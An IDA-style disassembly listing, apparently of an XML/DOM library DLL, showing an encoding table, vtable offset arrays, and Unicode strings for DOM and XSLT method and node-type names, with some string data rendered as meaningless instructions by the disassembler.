dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 6FB4h, 1
dd offset aIso88596 ; "iso-8859-6"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 6FB5h, 1
dd offset aIso88597 ; "iso-8859-7"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 6FB6h, 1
dd offset aIso88598 ; "iso-8859-8"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 6FB7h, 1
dd offset aIso88599 ; "iso-8859-9"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 4B0h, 0
dd offset aUcs2 ; "UCS-2"
dd 2
dd offset sub_69B36B7A
dd offset sub_69B36D2A
dd 2EE0h, 0
dd offset aUcs4 ; "UCS-4"
dd 4
dd offset sub_69B36C05
dd offset sub_69B36DA2
; ---------------------------------------------------------------------------
jmp loc_69B273BA
; ---------------------------------------------------------------------------
align 10h
dd offset aUnicode11Utf8 ; "UNICODE-1-1-UTF-8"
dd 3
dd offset sub_69B36999
dd offset sub_69B36E46
dd 4B0h, 0
dd offset aUnicode20Utf16 ; "UNICODE-2-0-UTF-16"
dd 2
dd offset sub_69B36B7A
dd offset sub_69B36D2A
; ---------------------------------------------------------------------------
jmp loc_69B273EA
; ---------------------------------------------------------------------------
align 10h
dd offset aUnicode20Utf8 ; "UNICODE-2-0-UTF-8"
dd 3
dd offset sub_69B36999
dd offset sub_69B36E46
dd 4E9Fh, 1
dd offset aUsAscii ; "us-ascii"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 4B0h, 0
dd offset loc_69B27519+3
dd 2
dd offset sub_69B36B7A
dd offset sub_69B36D2A
; ---------------------------------------------------------------------------
jmp loc_69B27432
; ---------------------------------------------------------------------------
align 4
dd offset aUtf8 ; "UTF-8"
dd 3
dd offset sub_69B36999
dd offset sub_69B36E46
dd 4E2h, 1
dd offset loc_69B274FD+3
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 4E3h, 1
dd offset loc_69B274E1+3
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 4E4h, 1
dd offset loc_69B274C5+3
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 4E5h, 1
dd offset loc_69B274A9+3
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 4E6h, 1
dd offset loc_69B2748D+3
dd 1
db 0BFh ; ¿ OFF32 SEGDEF [_text,69B36CBF]
db 6Ch
; ---------------------------------------------------------------------------
loc_69B273BA: ; CODE XREF: .text:69B272B8j
mov bl, 69h
mov ecx, 0E769B36Fh
add al, 0
add [ecx], al
; ---------------------------------------------------------------------------
db 3 dup(0)
dd offset loc_69B27471+3
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 4E8h, 1
dd offset loc_69B27455+3
dd 1
db 0BFh ; ¿ OFF32 SEGDEF [_text,69B36CBF]
db 6Ch
; ---------------------------------------------------------------------------
loc_69B273EA: ; CODE XREF: .text:69B272E8j
mov bl, 69h
mov ecx, 0E969B36Fh
add al, 0
add [ecx], al
; ---------------------------------------------------------------------------
db 3 dup(0)
dd offset loc_69B27439+3
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
dd 4EAh, 1
dd offset aWindows1 ; "WINDOWS-1"
dd 1
dd offset sub_69B36CBF
dd offset sub_69B36FB9
aWindows1: ; DATA XREF: .text:69B27410o
unicode 0, <WINDOWS-1>
; ---------------------------------------------------------------------------
loc_69B27432: ; CODE XREF: .text:69B27330j
xor al, [eax]
xor eax, 3800h
loc_69B27439: ; DATA XREF: .text:69B273F8o
add [eax+49005790h], dl
add [esi+0], cl
inc esp
add [edi+0], cl
push edi
add [ebx+0], dl
sub eax, 32003100h
add large ds:3700h, dh
loc_69B27455: ; DATA XREF: .text:69B273E0o
add [eax+49005790h], dl
add [esi+0], cl
inc esp
add [edi+0], cl
push edi
add [ebx+0], dl
sub eax, 32003100h
add large ds:3600h, dh
loc_69B27471: ; DATA XREF: .text:69B273C8o
add [eax+49005790h], dl
add [esi+0], cl
inc esp
add [edi+0], cl
push edi
add [ebx+0], dl
sub eax, 32003100h
add large ds:3500h, dh
loc_69B2748D: ; DATA XREF: .text:69B273B0o
add [eax+49005790h], dl
add [esi+0], cl
inc esp
add [edi+0], cl
push edi
add [ebx+0], dl
sub eax, 32003100h
add large ds:3400h, dh
loc_69B274A9: ; DATA XREF: .text:69B27398o
add [eax+49005790h], dl
add [esi+0], cl
inc esp
add [edi+0], cl
push edi
add [ebx+0], dl
sub eax, 32003100h
add large ds:3300h, dh
loc_69B274C5: ; DATA XREF: .text:69B27380o
add [eax+49005790h], dl
add [esi+0], cl
inc esp
add [edi+0], cl
push edi
add [ebx+0], dl
sub eax, 32003100h
add large ds:3200h, dh
loc_69B274E1: ; DATA XREF: .text:69B27368o
add [eax+49005790h], dl
add [esi+0], cl
inc esp
add [edi+0], cl
push edi
add [ebx+0], dl
sub eax, 32003100h
add large ds:3100h, dh
loc_69B274FD: ; DATA XREF: .text:69B27350o
add [eax+49005790h], dl
add [esi+0], cl
inc esp
add [edi+0], cl
push edi
add [ebx+0], dl
sub eax, 32003100h
add large ds:3000h, dh
loc_69B27519: ; DATA XREF: .text:69B27320o
add [eax+54005590h], dl
add [esi+0], al
sub eax, 36003100h
; ---------------------------------------------------------------------------
db 0
dd 90900000h
aUsAscii: ; DATA XREF: .text:69B27308o
unicode 0, <us-ascii>,0
align 10h
aUnicode20Utf8: ; DATA XREF: .text:69B272F0o
unicode 0, <UNICODE-2-0-UTF-8>,0
aUnicode20Utf16: ; DATA XREF: .text:69B272D8o
unicode 0, <UNICODE-2-0-UTF-16>,0
align 4
aUnicode11Utf8: ; DATA XREF: .text:69B272C0o
unicode 0, <UNICODE-1-1-UTF-8>,0
aIso88599: ; DATA XREF: .text:69B27278o
unicode 0, <iso-8859-9>,0
align 4
aIso88598: ; DATA XREF: .text:69B27260o
unicode 0, <iso-8859-8>,0
align 10h
aIso88597: ; DATA XREF: .text:69B27248o
unicode 0, <iso-8859-7>,0
align 4
aIso88596: ; DATA XREF: .text:69B27230o
unicode 0, <iso-8859-6>,0
align 10h
aIso88595: ; DATA XREF: .text:69B27218o
unicode 0, <iso-8859-5>,0
align 4
aIso88594: ; DATA XREF: .text:69B27200o
unicode 0, <iso-8859-4>,0
align 10h
aIso88593: ; DATA XREF: .text:69B271E8o
unicode 0, <iso-8859-3>,0
align 4
aIso88592: ; DATA XREF: .text:69B271D0o
unicode 0, <iso-8859-2>,0
align 10h
aIso88591: ; DATA XREF: .text:69B271B8o
unicode 0, <iso-8859-1>,0
align 4
aIso10646Ucs2: ; DATA XREF: .text:off_69B271A0o
unicode 0, <iso-10646-ucs-2>,0
off_69B276A8 dd offset sub_69B372FA ; DATA XREF: sub_69B37036+Fo
; sub_69B370B4o
aMaxAttributesP: ; DATA XREF: sub_69B374CD+Co
; sub_69B37527+7o
unicode 0, <max-attributes-per-element>,0
align 4
off_69B276E4 dd offset sub_69B383A8 ; DATA XREF: sub_69B3813A+1Co
; sub_69B39325+1Co
dd offset sub_69B380C2
dd offset sub_69B380EB
off_69B276F0 dd offset sub_69B3886F ; DATA XREF: sub_69B3813A+16o
; sub_69B39325+15o
align 8
off_69B276F8 dd offset sub_69B375FD ; DATA XREF: sub_69B3813A+10o
; sub_69B39325+Fo
dd offset sub_69B376DC
dd offset sub_69B3770D
dd offset sub_69B381E9
dd offset sub_69B37847
dd offset sub_69B378CA
dd offset sub_69B37967
dd offset sub_69B3799A
dd offset sub_69B379CD
dd offset sub_69B37A00
dd offset sub_69B373C3
dd offset sub_69B38236
dd offset sub_69B37403
dd offset sub_69B37A77
dd offset sub_69B39AEF
dd offset sub_69B39507
dd offset sub_69B39730
dd offset sub_69B398C8
dd offset sub_69B3967D
dd offset sub_69B39961
dd offset sub_69B39A0F
dd offset sub_69B3773E
dd offset sub_69B377AA
dd offset sub_69B377F4
dd offset sub_69B38A09
dd offset sub_69B37876
dd offset sub_69B373B6
dd offset sub_69B388A5
dd offset sub_69B373CD
dd offset sub_69B3740E
dd offset sub_69B37448
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B374CD
dd offset sub_69B37527
off_69B27784 dd offset loc_69B38814 ; DATA XREF: sub_69B38858-8Eo
; sub_69B38833+Eo
off_69B27788 dd offset loc_69B3A55C ; DATA XREF: sub_69B3A342+14o
; sub_69B3A38A+Do
; const WCHAR asc_69B2778C
asc_69B2778C: ; DATA XREF: sub_69B3AC11+33o
; sub_69B3AC11+9Eo ...
dw 0Dh
dw 0Ah
unicode 0, <>,0
align 4
off_69B27794 dd offset loc_69B3B291 ; DATA XREF: sub_69B3B210+22o
; sub_69B3B2B9+1Bo
dd offset loc_69B3B29B
dd offset loc_69B3B2A5
dd offset loc_69B3B2AF
dd offset sub_69B3ADB8
off_69B277A8 dd offset sub_69B3B273 ; DATA XREF: sub_69B3B210+1Bo
; sub_69B3B2B9+14o
dd offset sub_69B3B27D
dd offset sub_69B3B287
dd offset sub_69B3ACD6
dd offset sub_69B3A93B
off_69B277BC dd offset loc_69B3B313 ; DATA XREF: sub_69B3B210+14o
; sub_69B3B2B9+Eo
off_69B277C0 dd offset sub_69B3A953 ; DATA XREF: sub_69B3B210+Eo
; sub_69B3B2B9+8o
dd offset sub_69B3A9F7
dd offset sub_69B3AA4A
dd offset sub_69B3AFEE
dd offset sub_69B3A92C
dd offset sub_69B84A3B
dd offset sub_69B3B01F
dd offset sub_69B3B14A
dd offset sub_69B3AAE4
dd offset sub_69B3AB4E
dd offset sub_69B84A43
a1_0_0: ; DATA XREF: .text:69B27800o
unicode 0, <1.0>,0
off_69B277F4 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+37Bo
; sub_69B3EBB0:loc_69B3EBDDo
dd 0
dd 3
dd offset a1_0_0 ; "1.0"
aXSchema: ; DATA XREF: .text:69B27824o
; sub_69B8AF4C+16o
unicode 0, <x-schema:>,0
dd offset off_69B17D10
align 10h
dword_69B27820 dd 9 ; sub_69B8AF4Cr
dd offset aXSchema ; "x-schema:"
aStylesheet_0: ; DATA XREF: .data:69B98474o
; .data:69B991F0o
unicode 0, <stylesheet>,0
align 10h
aCreateprocesso: ; DATA XREF: .data:off_69B9845Co
unicode 0, <createProcessor>,0
off_69B27860 dd offset loc_69B3BB7C ; DATA XREF: sub_69B3BA77+40o
; sub_69B3BC4C+34o
dd offset loc_69B3BB86
dd offset loc_69B3BB90
dd offset loc_69B89694
dd offset loc_69B89734
off_69B27874 dd offset loc_69B3BB5E ; DATA XREF: sub_69B3BA77+39o
; sub_69B3BC4C+2Do
dd offset loc_69B3BB68
dd offset loc_69B3BB72
dd offset sub_69B89514
dd offset sub_69B895F4
dd offset loc_69B3BAD8
dd offset loc_69B3CD08
dd offset loc_69B3BADC
off_69B27894 dd offset loc_69B3BB54 ; DATA XREF: sub_69B3BA77+2Co
; sub_69B3BC4C+20o
dd offset sub_69B43BC0
dd offset sub_69B5A11A
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset sub_69B3BAE4
dd offset sub_69B3BAFF
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B278D0 dd offset sub_69B3BCD7 ; DATA XREF: sub_69B3BA77+25o
; sub_69B3BC4C+1Ao
off_69B278D4 dd offset sub_69B3BB4A ; DATA XREF: sub_69B3BA77+1Eo
; sub_69B3BC4C+13o
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
dword_69B278E4 dd 6CD3F5CDh, 11D376D9h, 0A39Bh, 82777AF8h ; sub_69B3C888+7Do ...
off_69B278F4 dd offset sub_69B3CA88 ; DATA XREF: sub_69B3C164+7o
; sub_69B3CA5C+16o
off_69B278F8 dd offset sub_69B5A110 ; DATA XREF: sub_69B3C290+1Bo
; sub_69B3CDC8+23o
dd offset sub_69B43BC0
dd offset sub_69B5A11A
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset sub_69B3C2C6
dd offset sub_69B3C2E1
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B27934 dd offset sub_69B3CB11 ; DATA XREF: sub_69B3C290+15o
; sub_69B3CDC8+1Co
off_69B27938 dd offset loc_69B3CD33 ; DATA XREF: sub_69B3CC8F+3Bo
; sub_69B3CD5C+31o
dd offset loc_69B3BB86
dd offset loc_69B3BB90
dd offset loc_69B89694
dd offset loc_69B89734
off_69B2794C dd offset loc_69B3CD29 ; DATA XREF: sub_69B3CC8F+34o
; sub_69B3CD5C+2Ao
dd offset loc_69B3BB68
dd offset loc_69B3BB72
dd offset sub_69B89514
dd offset sub_69B895F4
dd offset loc_69B3CD04
dd offset loc_69B3CD08
dd offset loc_69B3BADC
off_69B2796C dd offset loc_69B3CD1F ; DATA XREF: sub_69B3CC8F+2Do
; sub_69B3CD5C+1Do
dd offset sub_69B43BC0
dd offset sub_69B5A11A
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset sub_69B3C2C6
dd offset sub_69B3C2E1
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B279A8 dd offset loc_69B3CD3D ; DATA XREF: sub_69B3CC8F+26o
; sub_69B3CD5C+17o
off_69B279AC dd offset loc_69B3CD15 ; DATA XREF: sub_69B3CC8F+1Fo
; sub_69B3CD5C+10o
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
off_69B279BC dd offset sub_69B89EAF ; DATA XREF: sub_69B3BA77+33o
; sub_69B3BC4C+27o ...
dd offset sub_69B88F7D
off_69B279C4 dd offset sub_69B3DA7E ; DATA XREF: sub_69B3DA5B+12o
; sub_69B3DA9D+Eo
aSetnameditem: ; DATA XREF: .data:69B98FC8o
unicode 0, <setNamedItem>,0
align 4
aRemovequalifie: ; DATA XREF: .data:69B98F98o
unicode 0, <removeQualifiedItem>,0
aRemovenamedite: ; DATA XREF: .data:69B98F80o
unicode 0, <removeNamedItem>,0
aGetqualifiedit: ; DATA XREF: .data:69B98F20o
unicode 0, <getQualifiedItem>,0
align 10h
aGetnameditem: ; DATA XREF: .data:off_69B98F08o
unicode 0, <getNamedItem>,0
align 4
a_newenum: ; DATA XREF: .data:69B98E88o
; .data:69B98FE0o ...
unicode 0, <_newEnum>,0
align 10h
aReset: ; DATA XREF: .data:69B98E70o
; .data:69B98FB0o ...
unicode 0, <reset>,0
aNextnode: ; DATA XREF: .data:69B98E58o
; .data:69B98F68o ...
unicode 0, <nextNode>,0
align 10h
aLength: ; DATA XREF: .data:69B98E40o
; .data:69B98F50o ...
unicode 0, <length>,0
align 10h
aItem: ; DATA XREF: .data:off_69B98E28o
; .data:69B98F38o ...
unicode 0, <item>,0
align 4
aDocumentfragme: ; DATA XREF: .data:69B98E1Co
; .data:69B99B38o
unicode 0, <documentfragment>,0
align 10h
aDocumenttype: ; DATA XREF: .data:69B98E18o
; .data:69B99B50o
unicode 0, <documenttype>,0
align 4
aDocument_0: ; DATA XREF: .data:69B98E14o
; .data:off_69B99AF0o
unicode 0, <document>,0
align 10h
aComment: ; DATA XREF: sub_69B60C8B:loc_69B60F85o
; .text:69B61E60o ...
unicode 0, <comment>,0
aProcessinginst: ; DATA XREF: .data:69B98E0Co
; .data:69B99B10o
unicode 0, <processinginstruction>,0
aEntityreferenc: ; DATA XREF: .data:69B98E04o
; .data:69B99B48o
unicode 0, <entityreference>,0
aCdatasection: ; DATA XREF: .data:69B98E00o
; .data:69B99B30o
unicode 0, <cdatasection>,0
align 4
a_unknowntype: ; DATA XREF: .data:off_69B98DF0o
unicode 0, <_unknownType>,0
align 4
aTransformnodet: ; DATA XREF: .data:69B989A0o
unicode 0, <transformNodeToObject>,0
aTransformnode: ; DATA XREF: .data:69B98988o
unicode 0, <transformNode>,0
aText: ; DATA XREF: sub_69B60C8B:loc_69B60F7Bo
; .text:69B61EE0o ...
unicode 0, <text>,0
align 4
aSpecified: ; DATA XREF: .data:69B98958o
unicode 0, <specified>,0
aSelectsingleno: ; DATA XREF: .data:69B98940o
unicode 0, <selectSingleNode>,0
align 10h
aSelectnodes: ; DATA XREF: .data:69B98928o
unicode 0, <selectNodes>,0
aReplacechild: ; DATA XREF: .data:69B98910o
unicode 0, <replaceChild>,0
align 4
aRemovechild: ; DATA XREF: .data:69B988F8o
unicode 0, <removeChild>,0
aPrevioussiblin: ; DATA XREF: .data:69B988E0o
unicode 0, <previousSibling>,0
aPrefix: ; DATA XREF: .data:69B988C8o
unicode 0, <prefix>,0
align 4
aParsed: ; DATA XREF: .data:69B988B0o
unicode 0, <parsed>,0
align 4
aParentnode: ; DATA XREF: .data:69B98898o
unicode 0, <parentNode>,0
align 4
aOwnerdocument: ; DATA XREF: .data:69B98880o
unicode 0, <ownerDocument>,0
aNodevalue: ; DATA XREF: .data:69B98868o
unicode 0, <nodeValue>,0
aNodetypestring: ; DATA XREF: .data:69B98850o
unicode 0, <nodeTypeString>,0
align 4
aNodetypedvalue: ; DATA XREF: .data:69B98838o
unicode 0, <nodeTypedValue>,0
align 4
aNodetype: ; DATA XREF: sub_69B60C8B:loc_69B60CD9o
; .text:69B61EB0o ...
unicode 0, <nodeType>,0
align 4
aNodename: ; DATA XREF: sub_69B60C8B:loc_69B60CE3o
; .text:69B61EA8o ...
unicode 0, <nodeName>,0
align 4
aNextsibling: ; DATA XREF: .data:69B987F0o
unicode 0, <nextSibling>,0
aNamespaceuri: ; DATA XREF: .data:69B987D8o
unicode 0, <namespaceURI>,0
align 10h
aLastchild: ; DATA XREF: .data:69B987C0o
unicode 0, <lastChild>,0
aInsertbefore: ; DATA XREF: .data:69B987A8o
unicode 0, <insertBefore>,0
align 10h
aHaschildnodes: ; DATA XREF: .data:69B98790o
unicode 0, <hasChildNodes>,0
aFirstchild: ; DATA XREF: .data:69B98778o
unicode 0, <firstChild>,0
align 4
aDefinition: ; DATA XREF: .data:69B98760o
unicode 0, <definition>,0
align 4
aDatatype_0: ; DATA XREF: .data:69B98748o
unicode 0, <dataType>,0
align 10h
aClonenode: ; DATA XREF: .data:69B98730o
unicode 0, <cloneNode>,0
aChildnodes: ; DATA XREF: .data:69B98718o
unicode 0, <childNodes>,0
align 4
aBasename: ; DATA XREF: .data:69B98700o
unicode 0, <baseName>,0
align 10h
aAttributes: ; DATA XREF: .data:69B986E8o
unicode 0, <attributes>,0
align 4
aAppendchild: ; DATA XREF: .data:off_69B986D0o
unicode 0, <appendChild>,0
aTagname: ; DATA XREF: .data:69B98618o
unicode 0, <tagName>,0
aSetattributeno: ; DATA XREF: .data:69B98600o
unicode 0, <setAttributeNode>,0
align 4
aSetattribute: ; DATA XREF: .data:69B985E8o
unicode 0, <setAttribute>,0
align 10h
aRemoveattribut: ; DATA XREF: .data:69B985D0o
unicode 0, <removeAttributeNode>,0
aRemoveattrib_0: ; DATA XREF: .data:69B985B8o
unicode 0, <removeAttribute>,0
aNormalize: ; DATA XREF: .data:69B985A0o
unicode 0, <normalize>,0
aGetelementsbyt: ; DATA XREF: .data:69B98588o
; .data:69B997E0o
unicode 0, <getElementsByTagName>,0
align 4
aGetattributeno: ; DATA XREF: .data:69B98570o
unicode 0, <getAttributeNode>,0
align 4
aGetattribute: ; DATA XREF: .data:off_69B98558o
unicode 0, <getAttribute>,0
align 4
off_69B27FB8 dd offset loc_69B43875 ; DATA XREF: sub_69B437E7+2Eo
; sub_69B4389D+19o
dd offset sub_69B43BC0
dd offset sub_69B4387F
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B43889
dd offset sub_69B43893
dd offset sub_69B410FA
dd offset sub_69B43832
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B27FF4 dd offset sub_69B4397E ; DATA XREF: sub_69B437E7+27o
; sub_69B4389D+13o
off_69B27FF8 dd offset loc_69B43861 ; DATA XREF: sub_69B437E7+20o
; sub_69B4389D+Co
dd offset sub_69B5A0FC
dd offset sub_69B4386B
dd offset sub_69B2CF0E
off_69B28008 dd offset loc_69B43A8B ; DATA XREF: sub_69B4399D+2Eo
; sub_69B55714+29o
dd offset loc_69B43A95
dd offset loc_69B43A9F
dd offset sub_69B80B30
off_69B28018 dd offset sub_69B55364 ; DATA XREF: sub_69B4399D+27o
; sub_69B55714+22o
dd offset sub_69B55E94
dd offset sub_69B439FF
dd offset sub_69B43A81
off_69B28028 dd offset loc_69B43A77 ; DATA XREF: sub_69B4399D+20o
; sub_69B55714+1Bo
dd offset sub_69B43BC0
dd offset sub_69B5A11A
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset sub_69B43A23
dd offset sub_69B43A3E
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B28064 dd offset loc_69B43A04 ; DATA XREF: sub_69B4399D+19o
; sub_69B55714+15o
off_69B28068 dd offset loc_69B43A6D ; DATA XREF: sub_69B4399D+12o
; sub_69B55714+Eo
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
off_69B28078 dd offset loc_69B43C32 ; DATA XREF: sub_69B14AA8+38o
; sub_69B14B8C+32o
off_69B2807C dd offset sub_69B45902 ; DATA XREF: sub_69B44884+14o
; sub_69B458D3+1Do
off_69B28080 dd offset sub_69B45B90 ; DATA XREF: sub_69B455FC+14o
; sub_69B45B61+1Do
off_69B28084 dd offset loc_69B46369 ; DATA XREF: sub_69B44884+Do
; sub_69B455FC+Do ...
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
off_69B28094 dd offset loc_69B4632C ; DATA XREF: sub_69B45A4C+1Co
; sub_69B45ACF+1Eo
dd offset loc_69B45AA8
dd offset sub_69B45A7B
dd offset sub_69B45B17
off_69B280A4 dd offset loc_69B45AB0 ; DATA XREF: sub_69B45A4C+15o
; sub_69B45ACF+18o
off_69B280A8 dd offset loc_69B45A9E ; DATA XREF: sub_69B45A4C+Eo
; sub_69B45ACF+11o
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
off_69B280B8 dd offset loc_69B6A128 ; DATA XREF: sub_69B14C7C+19o
; sub_69B14CD0+19o ...
aTransform: ; DATA XREF: .data:69B99208o
unicode 0, <transform>,0
aStartmodeuri: ; DATA XREF: .data:69B991D8o
unicode 0, <startModeURI>,0
align 4
aStartmode: ; DATA XREF: .data:69B991C0o
unicode 0, <startMode>,0
aSetstartmode: ; DATA XREF: .data:69B991A8o
unicode 0, <setStartMode>,0
align 4
aReadystate: ; DATA XREF: .data:69B99178o
; .data:69B99900o ...
unicode 0, <readyState>,0
align 4
aOwnertemplate: ; DATA XREF: .data:69B99160o
unicode 0, <ownerTemplate>,0
aOutput: ; DATA XREF: .data:69B99148o
unicode 0, <output>,0
align 10h
aInput: ; DATA XREF: .data:69B99130o
unicode 0, <input>,0
aAddparameter: ; DATA XREF: .data:69B99118o
unicode 0, <addParameter>,0
align 4
aAddobject: ; DATA XREF: .data:off_69B99100o
unicode 0, <addObject>,0
off_69B2819C dd offset loc_69B470DA ; DATA XREF: sub_69B46944+19o
; sub_69B47360+1Eo
dd offset sub_69B43BC0
dd offset sub_69B47356
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset sub_69B469C9
dd offset sub_69B469E4
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B281D8 dd offset loc_69B470E4 ; DATA XREF: sub_69B46944+13o
; sub_69B47360+17o
off_69B281DC dd offset sub_69B470D0 ; DATA XREF: sub_69B46944+Co
; sub_69B47360+10o
dd offset sub_69B5A0FC
dd offset sub_69B4734C
dd offset sub_69B2CF0E
align 10h
dword_69B281F0 dd 0F5078F17h, 11D3C551h, 0B989h, 21E21FF8h
; DATA XREF: sub_69B1C04C:loc_69B247F7o
; sub_69B47D5Eo ...
off_69B28200 dd offset dword_69B18894 ; DATA XREF: sub_69B47F56o
; .text:off_69B59D14o
align 8
; const WCHAR a?
a?: ; DATA XREF: sub_69B760B0:loc_69B761C4o
; sub_69B771EE+35o ...
unicode 0, <?>
dw 3Eh
unicode 0, <>,0
align 10h
asc_69B28210: ; DATA XREF: .data:69B99300o
unicode 0, <-->,0
align 4
aXmldecl db 'XMLDECL',0 ; DATA XREF: .data:69B992F0o
aDocfrag db 'DOCFRAG',0 ; DATA XREF: .data:69B992ECo
aTypedvalue db 'TYPEDVALUE',0 ; DATA XREF: .data:69B992E8o
align 4
aAttribute_0 db 'ATTRIBUTE',0 ; DATA XREF: .data:69B992E4o
align 10h
aIgnoresection db 'IGNORESECTION',0 ; DATA XREF: .data:69B992E0o
align 10h
aIncludesection db 'INCLUDESECTION',0 ; DATA XREF: .data:69B992DCo
align 10h
aWhitespace db 'WHITESPACE',0 ; DATA XREF: .data:69B992D8o
align 4
aEntityref db 'ENTITYREF',0 ; DATA XREF: .data:69B992D4o
align 4
aNamespace_1 db 'NAMESPACE',0 ; DATA XREF: .data:69B992D0o
align 4
aElementdecl db 'ELEMENTDECL',0 ; DATA XREF: .data:69B992CCo
aNotation_2 db 'NOTATION',0 ; DATA XREF: .data:69B992C8o
align 4
aEntity_2 db 'ENTITY',0 ; DATA XREF: .data:69B992C4o
align 4
aCdata_4 db 'CDATA',0 ; DATA XREF: .data:69B992C0o
align 4
dword_69B282AC dd 90004950h, 445444h, 55434F44h, 544E454Dh, 90909000h
; DATA XREF: .data:69B992BCo
; .data:69B992B8o ...
dd 4D4D4F43h, 544E45h, 41444350h, 90004154h
aElement_1 db 'ELEMENT',0 ; DATA XREF: .data:lpMultiByteStro
; const WCHAR asc_69B282D8
asc_69B282D8: ; DATA XREF: sub_69B4D477+5Ao
; sub_69B60C8B:loc_69B61123o ...
unicode 0, <:>,0
off_69B282DC dd offset loc_69B4F3EC ; DATA XREF: sub_69B4EE6F+17o
; sub_69B4EEA0+11o
off_69B282E0 dd offset loc_69B4FA3F ; DATA XREF: sub_69B4F64F+1Co
; sub_69B4F7C4+Eo
off_69B282E4 dd offset loc_69B50A3C ; DATA XREF: sub_69B508C2+7o
; sub_69B50B70+20o
off_69B282E8 dd offset loc_69B50A5B ; DATA XREF: sub_69B508E5+7o
; sub_69B50CCC+18o
off_69B282EC dd offset loc_69B50A7A ; DATA XREF: sub_69B50908+7o
; sub_69B50DC6+1Eo
off_69B282F0 dd offset sub_69B510C4 ; DATA XREF: sub_69B50F99+Do
; sub_69B51071+18o
align 8
off_69B282F8 dd offset loc_69B5305C ; DATA XREF: sub_69B51E15+3Eo
; sub_69B53388+44o
dd offset loc_69B532B3
dd offset loc_69B5337E
dd offset loc_69B53066
dd offset loc_69B53070
dd offset loc_69B5307A
dd offset loc_69B53084
dd offset loc_69B5308E
dd offset loc_69B53098
dd offset loc_69B530A2
dd offset loc_69B530AC
dd offset loc_69B530B6
dd offset loc_69B530C0
dd offset loc_69B530CA
dd offset loc_69B530D4
dd offset loc_69B530DE
dd offset loc_69B530E8
dd offset loc_69B530F2
dd offset loc_69B530FC
dd offset loc_69B53106
dd offset loc_69B53110
dd offset loc_69B5311A
dd offset loc_69B53124
dd offset loc_69B546B8
dd offset loc_69B5312E
dd offset loc_69B53138
dd offset loc_69B53142
dd offset loc_69B5314C
dd offset loc_69B53156
dd offset loc_69B53160
dd offset loc_69B5316A
dd offset loc_69B53174
dd offset loc_69B5317E
dd offset loc_69B53188
dd offset loc_69B53192
dd offset loc_69B5319C
dd offset loc_69B531A6
dd offset loc_69B531B0
dd offset loc_69B531BA
dd offset loc_69B531C4
dd offset loc_69B531CE
dd offset loc_69B531D8
dd offset loc_69B531E2
dd offset loc_69B531EC
dd offset loc_69B544AE
dd offset loc_69B5456C
off_69B283B0 dd offset loc_69B52ECC ; DATA XREF: sub_69B51E15+37o
; sub_69B53388+3Do
dd offset loc_69B532A9
dd offset loc_69B53374
dd offset loc_69B52ED6
dd offset loc_69B52EE0
dd offset loc_69B52EEA
dd offset loc_69B52EF4
dd offset loc_69B52EFE
dd offset loc_69B52F08
dd offset loc_69B52F12
dd offset loc_69B52F1C
dd offset loc_69B52F26
dd offset loc_69B52F30
dd offset loc_69B52F3A
dd offset loc_69B52F44
dd offset loc_69B52F4E
dd offset loc_69B52F58
dd offset loc_69B52F62
dd offset loc_69B52F6C
dd offset loc_69B52F76
dd offset loc_69B52F80
dd offset loc_69B52F8A
dd offset loc_69B52F94
dd offset loc_69B546AE
dd offset loc_69B52F9E
dd offset loc_69B52FA8
dd offset loc_69B52FB2
dd offset loc_69B52FBC
dd offset loc_69B52FC6
dd offset loc_69B52FD0
dd offset loc_69B52FDA
dd offset loc_69B52FE4
dd offset loc_69B52FEE
dd offset loc_69B52FF8
dd offset loc_69B53002
dd offset loc_69B5300C
dd offset loc_69B53016
dd offset loc_69B53020
dd offset loc_69B5302A
dd offset loc_69B53034
dd offset loc_69B5303E
dd offset loc_69B53048
dd offset loc_69B53052
align 10h
